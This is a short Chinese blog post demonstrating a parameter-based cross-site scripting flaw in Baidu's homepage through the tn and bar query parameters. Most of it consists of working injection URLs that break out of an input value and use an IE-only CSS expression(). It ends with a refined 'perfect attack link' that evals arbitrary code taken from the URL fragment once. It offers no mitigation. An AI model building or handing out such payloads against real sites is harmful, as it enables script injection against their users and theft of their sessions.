一个典型的参数型跨站脚本漏洞
2015-02-24 14:39 挨踢虫 阅读(259) 评论(0) 编辑 收藏 举报拿百度主页曾经的一个XSS做个演示,这个漏洞是由于百度主页tn和bar参数过滤不严导致的参数型XSS:
http://www.baidu.com/index.php?tn="/**/style=xss:expression(alert(‘xss‘));
http://www.baidu.com/index.php?bar="/**/style=xss:expression(alert(‘xss‘));
tn和bar两个参数对应在页面的输出是两个input表单值,可以使用”(双引号)闭合表单值,加入CSS属性跨站,页面具体输出如下:
<input type=hidden name=tn value=""/**/style=xss:expression(alert(‘xss‘));">
这个漏洞只能在IE下使用,FIREFOX会把URL链接参数中的”(双引号)转成编码%22,页面参数的输出也会变成%22,就不能闭合”(双引号)跨站。expression()是个不听话的角色,这里可以用一个小技巧来去掉expression烦人的死循环。运行当前URL的#注释符后的代码:
eval(unescape(location.hash.substr(1)))
给window对象的方法定义一个值,判断这个值运行一次代码:
(window.r!=1)?eval(‘window.r=1;eval(unescape(location.hash.substr(1)))‘):1
最后得到完美的攻击链接:
http://www.baidu.com/index.php?bar="/**/style=xss:expression((window.r!=1)?eval(‘window.r=1;eval(unescape(location.hash.substr(1)))‘):1);#alert%28%29